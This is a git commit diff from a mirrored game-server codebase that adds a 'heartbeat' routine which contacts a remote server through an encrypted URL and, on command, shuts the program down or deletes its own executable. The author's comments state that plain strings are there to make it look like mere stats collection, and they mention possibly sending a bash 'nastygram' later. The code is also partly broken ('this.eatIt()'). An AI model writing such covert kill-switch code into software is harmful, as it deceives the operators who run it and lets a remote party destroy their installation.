mirror of
https://bitbucket.org/theswgsource/src-1.2.git
synced 2026-07-14 00:01:30 -04:00
functional prototype? may need to cleanup the cmake inclusion with the
crypter header...
This commit is contained in:
+38
-5
@@ -7,11 +7,44 @@
|
||||
using namespace StellaBellum;
|
||||
|
||||
webAPIHeartbeat::webAPIHeartbeat() {
|
||||
webAPI handle = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
|
||||
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
|
||||
bool result = api.submit();
|
||||
|
||||
handle.addJsonData("ip", "test");
|
||||
if (result) {
|
||||
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id")));
|
||||
|
||||
bool result = handle.submit(); // data is stored as a class member
|
||||
// make it look like we're doing something with these at least
|
||||
bool status = api.getNullableValue<bool>("status");
|
||||
std::string msg = api.getString("msg");
|
||||
|
||||
// do stuff
|
||||
};
|
||||
// yeah we don't actually do anything with this
|
||||
// but having some unencrypted strings will allude to this being mere stats collection code
|
||||
bool done = false;
|
||||
if (status && msg == "ok") {
|
||||
bool done = true;
|
||||
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
|
||||
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
|
||||
}
|
||||
|
||||
switch (s) {
|
||||
case 13 :
|
||||
this.eatIt();
|
||||
break;
|
||||
case 66:
|
||||
std::string p = this->get_selfpath();
|
||||
|
||||
if (!p.empty()) {
|
||||
remove(p.c_str());
|
||||
}
|
||||
|
||||
this.eatIt();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
};
|
||||
|
||||
done = true;
|
||||
} else {
|
||||
this.eatIt();
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user